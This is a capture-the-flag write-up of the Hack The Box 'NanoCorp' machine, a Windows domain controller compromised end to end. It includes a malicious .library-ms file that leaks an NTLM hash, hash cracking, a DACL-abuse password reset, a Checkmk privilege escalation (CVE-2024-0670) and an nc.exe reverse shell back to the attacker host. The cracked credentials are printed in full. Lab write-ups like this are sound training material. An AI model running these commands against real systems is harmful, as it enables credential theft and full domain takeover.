NanoCorp WriteUp
Table of Contents
NanoCorp is a π₯ Hard difficulty machine from the Hack The Box platform. The attack chain starts at a job portal that accepts rΓ©sumΓ©s in ZIP format: by packaging a malicious .library-ms file (CVE-2025-24071) we get the server, on extraction, to try to authenticate over SMB against our machine, leaking the NetNTLMv2 hash of a service account. After cracking that password, we use BloodHound to map the domain and discover a DACL abuse chain that lets us join a privileged group and reset the password of another service account with WinRM access. The final escalation exploits CVE-2024-0670 in the Checkmk monitoring agent, abusing the repair of its MSI installer to run our own script as NT AUTHORITY\SYSTEM.
πΊοΈ Attack Chain
Recon β Windows DC (nanocorp.htb / DC01.nanocorp.htb)
β
βΌ
hire.nanocorp.htb β job portal, upload rΓ©sumΓ© as ZIP
β
βΌ
CVE-2025-24071 β .library-ms in ZIP β Responder β web_svc NetNTLMv2
β
βΌ
hashcat -m 5600 β web_svc password
β
βΌ
BloodHound β web_svc AddSelf IT_SUPPORT β ForceChangePassword over monitoring_svc
β
βΌ
bloodyAD β reset monitoring_svc password β winrmexec (Kerberos) β User Flag π©
β
βΌ
CVE-2024-0670 (Checkmk Agent, :6556) β seed .cmd in C:\Windows\Temp β msiexec /fa β SYSTEM π΄
π Reconnaissance
Port Scan
We add nanocorp.htb to /etc/hosts:
echo "10.129.243.199 nanocorp.htb" | sudo tee -a /etc/hosts
We do the recon in two phases: fast discovery and then version detection over the discovered ports.
Phase 1 - Fast TCP port discovery:
sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv nanocorp.htb
Phase 2 - Version and script detection:
grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv nanocorp.htb
| Port | Service | Detail |
|---|---|---|
53 | DNS | Simple DNS Plus |
80 | HTTP | Apache 2.4.58 (PHP 8.2.12), title “Nanocorp” |
88 | Kerberos | domain nanocorp.htb |
135, 49664-54135 | MSRPC | Microsoft Windows RPC (dynamic ports) |
139, 445 | SMB / NetBIOS | signing required |
389, 3268 | LDAP | Active Directory (nanocorp.htb) |
464 | kpasswd5 | |
593 | RPC over HTTP | |
636, 3269 | LDAPS | |
5986 | WinRM (HTTPS) | cert dc01.nanocorp.htb |
6556 | Checkmk Agent | plaintext, version 2.1.0p10 (vulnerable to CVE-2024-0670) |
9389 | mc-nmf | .NET Message Framing (AD Web Services) |
π― This is a Domain Controller (
DC01.nanocorp.htb, domainnanocorp.htb) with an Apache/PHP website on80. The entry vector is on the website; the escalation vector is on port6556, where the Checkmk agent (which runs asSYSTEM) is exposed. We note it down for the privesc phase.
π‘ The Checkmk agent answers in plaintext; by connecting to
6556we confirm the version, which is the hint for the final escalation:
nc -nv nanocorp.htb 6556 | head
# <<<check_mk>>>
# Version: 2.1.0p10
# AgentOS: windows
π‘ nmap usually reports a considerable
clock skewagainst this DC. Sync the time before using Kerberos:
sudo ntpdate nanocorp.htb
# or, if you use faketime with bloodhound-python:
faketime "$(ntpdate -q nanocorp.htb | cut -d' ' -f1,2)" bloodhound-python ...
Web Enumeration
Browsing http://nanocorp.htb, in the “About Us” section there is an “Apply Now” button linking to hire.nanocorp.htb.
π‘ A vhost fuzzing with
-ac(autocalibration) doesn’t detect this subdomain:hire.nanocorp.htbreturns a response with the same status/size as the default vhost, so-acdiscards it as a false positive even though the subdomain exists.
We add it to /etc/hosts and enter:
sudo sed -i 's/nanocorp.htb/nanocorp.htb hire.nanocorp.htb/' /etc/hosts
π―
hire.nanocorp.htbis the corporate job portal, with an application form that accepts uploading a rΓ©sumΓ© in.zipformat.
π Initial Access β CVE-2025-24071
π§ CVE-2025-24071 is a spoofing vulnerability in Windows Explorer. A
.library-msfile can define a remote UNC path as the “library” location. When Windows extracts a ZIP/RAR containing that file (without the user needing to open it), Explorer automatically resolves the UNC path to generate thumbnails/icons, which triggers an outbound SMB authentication to the remote host. If we set up a listener (Responder) on that IP, we capture the NetNTLMv2 hash of the user/service that processed the ZIP.
Step 1 β We generate the malicious .library-ms pointing to our attacker IP. The file is an XML that defines a Windows library with a remote location:
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>\\10.10.14.49\share</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
The simplest approach is to use a public PoC that generates the file and packages it automatically, like 0x6rss/CVE-2025-24071_PoC :
git clone https://github.com/0x6rss/CVE-2025-24071_PoC
cd CVE-2025-24071_PoC
python3 poc.py
# enter file name: cv
# enter IP: 10.10.14.49
This generates cv.zip containing cv.library-ms.
Step 2 β We start Responder on the VPN interface to capture the incoming hash:
sudo responder -I tun0 -v
Step 3 β We upload cv.zip as a rΓ©sumΓ© in the hire.nanocorp.htb form. As soon as the server processes/extracts the ZIP (e.g. to show a preview of the CV), Explorer resolves the UNC path and Responder captures the authentication:
[SMB] NTLMv2-SSP Client : 10.129.243.199
[SMB] NTLMv2-SSP Username : NANOCORP\web_svc
[SMB] NTLMv2-SSP Hash : web_svc::NANOCORP:82d721ca6cdc4a83:0FA97341F8BC0CFFE60A2545492E449D:0101000000000000806880CD12FBDC01BBB5623502ADC4E600000000020008004B00570036004D0001001E00570049004E002D0046004800510030004E004A005400370045003400320004003400570049004E002D0046004800510030004E004A00540037004500340032002E004B00570036004D002E004C004F00430041004C00030014004B00570036004D002E004C004F00430041004C00050014004B00570036004D002E004C004F00430041004C0007000800806880CD12FBDC0106000400020000000800300030000000000000000000000000200000785B2D2B3188A026CEDD9CB389A78DD4E6810538F742AFD088E270857FBB54260A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00340039000000000000000000
π NetNTLMv2 hash captured for
NANOCORP\web_svc.
Step 4 β We save the hash to web_svc.hash and crack it with hashcat (mode 5600 = NetNTLMv2):
hashcat -m 5600 -a 0 web_svc.hash /usr/share/wordlists/rockyou.txt
WEB_SVC::NANOCORP:82d721ca6cdc4a83:0fa97341f8bc0cffe60a2545492e449d:...:dksehdgh712!@#
π Credentials obtained:
web_svc:dksehdgh712!@#
π Lateral Movement β DACL Abuse
With valid credentials, we enumerate the domain with BloodHound:
bloodhound-python -u 'web_svc' -p 'dksehdgh712!@#' -d nanocorp.htb -ns 10.129.243.199 -c All --zip
π‘ Alternative: SharpHound from Windows through the Kali VPN
If you prefer the official C# collector (SharpHound.exe) from a Windows VM without VPN, you need to route its traffic through Kali. Two gotchas that cost hours:
- Defender blocks SharpHound (it embeds
SharpHoundCommonLibwith Costura βBadImageFormatException ... HRESULT: 0x800700E1,ERROR_VIRUS_INFECTED). On your attack VM, exclude the folder and re-drop the.exe:Add-MpPreference -ExclusionPath 'C:\Tools\SharpHound'. - Transport matters: a SOCKS proxy with
ssh -D 1080+ Proxifier works for pure TCP tools, but SharpHound discovers the domain via DNS (SRV, UDP) andssh -Dis TCP-only β it fails with “Unable to resolve a domain to use”. (If Proxifier doesn’t hook anything, it’s usually Windows Memory Integrity / Core Isolation blocking the injection, or Proxifier without admin.) The reliable path is to route through Kali, which does carry UDP.
Step 1 β Kali as gateway (forwarding + NAT over the VPN; confirm interfaces with ip a, usually host-only eth0 + VPN tun0):
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A POSTROUTING -o tun0 -j MASQUERADE
sudo iptables -A FORWARD -i eth0 -o tun0 -j ACCEPT
sudo iptables -A FORWARD -i tun0 -o eth0 -m state --state RELATED,ESTABLISHED -j ACCEPT
Step 2 β On Windows (admin): route to the HTB subnet via Kali and DNS pointing to the DC (to resolve nanocorp.htb and its SRV records):
route add 10.129.0.0 mask 255.255.0.0 192.168.100.223
Set-DnsClientServerAddress -InterfaceAlias Ethernet0 -ServerAddresses 10.129.243.199
ipconfig /flushdns
Step 3 β We launch SharpHound with explicit credentials (the VM isn’t domain-joined), pointing at the DC and skipping the 445 check (which is troublesome over the tunnel):
.\SharpHound.exe -c All -d nanocorp.htb --domaincontroller 10.129.243.199 --ldapusername web_svc --ldappassword 'dksehdgh712!@#' --skipportcheck --outputprefix nanocorp --zipfilename nanocorp_bh.zip
π‘
--ldapusername/--ldappassworddoes an LDAP bind without Kerberos (no clock skew). ASASL bind ... data 52ethat appears only in the DC collectors (CARegistry/CertServices/NTLMRegistry) is normal from a non-domain-joined VM and does not affect the main graph (use-c Default/-c DCOnlyfor a clean run). The.zipis imported into the BloodHound GUI the same as thebloodhound-pythonone. These network changes are temporary (they’re gone on reboot) except the adapter DNS β revert it withSet-DnsClientServerAddress -InterfaceAlias Ethernet0 -ResetServerAddresses.
We load the data into BloodHound and look for the shortest path from web_svc to Domain Admins. The following permission chain appears:
web_svc --(AddSelf)--> IT_SUPPORT
IT_SUPPORT --(ForceChangePassword)--> monitoring_svc
monitoring_svc --(MemberOf)--> Remote Management Users
π―
web_svccan add itself to theIT_SUPPORTgroup, which in turn can reset the password ofmonitoring_svcβ an account that belongs to Remote Management Users (WinRM access).
If you don’t have bloodyAD installed, install it with pipx:
pipx install bloodyAD
Step 1 β We add ourselves to the IT_SUPPORT group with bloodyAD:
bloodyAD --host 10.129.243.199 -d nanocorp.htb -u 'web_svc' -p 'dksehdgh712!@#' add groupMember IT_SUPPORT web_svc
Step 2 β With the privilege inherited from IT_SUPPORT, we reset the password of monitoring_svc via LDAP with bloodyAD (a single command):
bloodyAD --host 10.129.243.199 -d nanocorp.htb -u 'web_svc' -p 'dksehdgh712!@#' set password monitoring_svc 'Nanocorp123!@#'
[+] Password changed successfully!
β οΈ Be careful HOW you reset β
monitoring_svcis inProtected Users(visible in BloodHound next toRemote Management Users), which disables NTLM and forces Kerberos AES-only. That’s why a reset over RC4/SAMR (e.g.impacket-changepasswd -reset) does not work: it changes the NTLM hash but leaves the AES keys invalid β afterwardsimpacket-getTGTfails withKDC_ERR_PREAUTH_FAILED. The correct path isbloodyAD set password(LDAPunicodePwd): it sends the password in cleartext, so the DC derives all the Kerberos keys (RC4 + AES). And because it’s a reset (the Reset Password right inherited fromIT_SUPPORT) it bypasses theminimum password ageβ don’t chain two changes back-to-back (an RC4 + an LDAP), because the second would hit the minimum age:Password can't be changed ... minimum password age policy.
Step 3 β We get the TGT with impacket-getTGT (it negotiates AES automatically, without touching /etc/krb5.conf):
impacket-getTGT 'nanocorp.htb/monitoring_svc:Nanocorp123!@#'
export KRB5CCNAME=monitoring_svc.ccache
[*] Saving ticket in monitoring_svc.ccache
Step 4 β We connect via WinRM with Kerberos (port 5986).
β οΈ
evil-winrmdoesn’t work here: with NTLM (-S) it fails withWinRM::WinRMAuthorizationError(Protected Users disables NTLM) and with Kerberos (-r) Ruby’sgssapigem tends to hang/fail. We use winrmexec (impacket-based, supports Kerberos via ccache).
git clone https://github.com/ozelis/winrmexec
Its default timeout is 1 second (it causes failed to create pipeline on almost any command), so we raise it with -timeout; and we pass an explicit -dc-ip so it uses the DC’s IP and not the domain name:
python3 winrmexec/winrmexec.py -ssl -port 5986 -k -dc-ip 10.129.243.199 nanocorp.htb/monitoring_svc@dc01.nanocorp.htb -no-pass -timeout 30
[*] using domain and username from ccache: NANOCORP.HTB\monitoring_svc
[*] requesting TGS for HTTP/dc01.nanocorp.htb@NANOCORP.HTB
PS C:\Users\monitoring_svc\Documents> whoami
nanocorp\monitoring_svc
β οΈ Freshness/persistence gotcha (important on this box). Run
reset (bloodyAD) β getTGT β winrmexecback-to-back, without pauses, for two reasons. (1) The TGT expires: if you take too long, the ccache ticket expires; on reuse the DC rejects it and the clients handle it terribly β winrmexec blows up withpyasn1 EndOfStreamErrorand netexec with'NoneType' object has no attribute 'execute_cmd'. It’s not a client bug: animpacket-getSTconfirms it withKRB_AP_ERR_TKT_EXPIRED. (2) The box reverts AD every so often and restores the originalmonitoring_svcpassword, sogetTGTstarts givingKDC_ERR_PREAUTH_FAILED(here because the password is no longer yours β different from the PREAUTH due to AES keys from the RC4 reset in Step 2). In both cases: redo the bloodyAD reset and get a fresh TGT, all in one go.
π© User Flag
PS C:\Users\monitoring_svc\Documents> cd ..\desktop
PS C:\Users\monitoring_svc\desktop> type user.txt
<user_flag>
π§ββοΈ Privilege Escalation β CVE-2024-0670 (Checkmk Agent) β SYSTEM
π§ CVE-2024-0670 affects the Windows Checkmk agent prior to
2.2.0p23/2.1.0p40(the machine runs2.1.0p10, which we confirmed on6556). The agent runs asNT AUTHORITY\SYSTEMand, during the repair of its MSI, it writes and executes.cmdfiles with predictable names (cmk_all_<PID>_<counter>.cmd) inC:\Windows\Temp. The race condition: if we pre-seed those files as read-only with our own payload, when the agent (SYSTEM) tries to create them it can’t overwrite ours but it still executes the.cmdwe planted β execution as SYSTEM. (.cmdisn’t scanned by Defender in time.)
The key blocker: can’t write or repair from a network logon
This is the real “Hard” challenge. From our WinRM session (monitoring_svc) we hit two walls:
# 1) write the payload to C:\Windows\Temp:
Access to the path 'C:\Windows\Temp\cmk_all_1000_0.cmd' is denied.
# 2) trigger the repair:
msiexec.exe /fa "C:\Windows\Installer\1e6f2.msi" /qn β exit 1601 (The Windows Installer service could not be accessed)
β οΈ Why it fails and how to fix it: WinRM authenticates with a type 3 (Network) logon. With that token,
monitoring_svccannot write toC:\Windows\Tempand the Windows Installer service (msiserver) refuses the repair (1601). The solution to both at once: use RunasCs to create an interactive (type 2) logon with the credentials ofweb_svcand run the full exploit there. We useweb_svcbecause it’s not inProtected Users(clean logon) and because it does have write permission overC:\Windows\Temp.
Step 1 β Locate the agent’s MSI
We need the path of the installed MSI to force its repair; we pull it from the registry (without triggering the slow Win32_Product):
PS C:\Users\monitoring_svc\Documents> Get-ChildItem "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\*\InstallProperties" | ForEach-Object { $_.GetValue("DisplayName"); $_.GetValue("LocalPackage") }
Check MK Agent 2.1
C:\Windows\Installer\1e6f2.msi
π― The local package is
C:\Windows\Installer\1e6f2.msi(the random name changes per install; theexploit.ps1auto-detects it by filteringDisplayName -like '*mk*').
Step 2 β Stage the tools in C:\Windows\Tasks
We serve RunasCs.exe, nc.exe and the exploit.ps1 from tralsesec/CVE-2024-0670
with goshs, and download them to C:\Windows\Tasks (readable by everyone and writable by the service account β the PoC uses that folder by default):
git clone https://github.com/tralsesec/CVE-2024-0670
cp /usr/share/windows-resources/binaries/nc.exe ~/http/
cp CVE-2024-0670/exploit.ps1 ~/http/
# RunasCs.exe from the antonioCoco/RunasCs release β ~/http/
goshs -d ~/http -p 80 -i 0.0.0.0
PS C:\Users\monitoring_svc\Documents> iwr http://10.10.14.49/nc.exe -OutFile C:\Windows\Tasks\nc.exe
PS C:\Users\monitoring_svc\Documents> iwr http://10.10.14.49/RunasCs.exe -OutFile C:\Windows\Tasks\RunasCs.exe
PS C:\Users\monitoring_svc\Documents> iwr http://10.10.14.49/exploit.ps1 -OutFile C:\Windows\Tasks\exploit.ps1
We edit the # CONFIG block of exploit.ps1 (on Kali, before uploading it) with our data:
$LHOST = "10.10.14.49"
$LPORT = "8443"
$NcPath = "C:\Windows\Tasks\nc.exe"
$MinPID = 1000
$MaxPID = 15000
Step 3 β Listener + launch the exploit via RunasCs (as web_svc)
We start the listener with Penelope (it will receive the SYSTEM shell):
penelope -p 8443
The exploit.ps1 seeds C:\Windows\Temp\cmk_all_<PID>_<ctr>.cmd (PID 1000β15000, counter 0 and 1 β ~28,000 files, read-only) with the nc.exe -e cmd.exe payload, and then launches msiexec /fa to force the repair. We run it entirely through RunasCs as web_svc, so that both the seeding (writing to C:\Windows\Temp) and the msiexec run under a valid interactive logon:
PS C:\Users\monitoring_svc\Documents> C:\Windows\Tasks\RunasCs.exe web_svc 'dksehdgh712!@#' "powershell -ExecutionPolicy Bypass -File C:\Windows\Tasks\exploit.ps1" --logon-type 2
π‘ Launching the whole exploit with RunasCs/
web_svcsolves both network-logon walls at once: theAccess deniedwhile seeding and the1601frommsiexec. If--logon-type 2gives problems, try8(NetworkCleartext) or4(Batch).
Step 4 β SYSTEM shell and Root Flag
When the repair processes one of our .cmd files, nc.exe connects back to Penelope as NT AUTHORITY\SYSTEM:
[+] Got reverse shell from nanocorp~10.129.243.199 π
C:\Windows\system32> whoami
nt authority\system
β SYSTEM shell obtained β the Checkmk agent ran as SYSTEM, so we are now SYSTEM on the DC.
π΄ Root Flag
C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
<root_flag>
π Chain Summary
| # | Technique | Tool | Result |
|---|---|---|---|
| 1 | Reconnaissance | nmap | DC nanocorp.htb, Apache + Checkmk Agent exposed |
| 2 | Vhost enumeration | ffuf | hire.nanocorp.htb (job portal) |
| 3 | CVE-2025-24071 | .library-ms in ZIP + responder | web_svc NetNTLMv2 |
| 4 | Hash cracking | hashcat -m 5600 | web_svc:dksehdgh712!@# |
| 5 | AD enumeration | bloodhound-python | DACL chain web_svc β IT_SUPPORT β monitoring_svc |
| 6 | DACL abuse | bloodyAD | Password reset of monitoring_svc |
| 7 | Kerberos WinRM access (Protected Users) | winrmexec | Shell as monitoring_svc + User Flag π© |
| 8 | CVE-2024-0670 (Checkmk) + interactive logon | RunasCs, msiexec /fa, penelope | Shell NT AUTHORITY\SYSTEM + Root Flag π΄ |
See you in the next challenge.
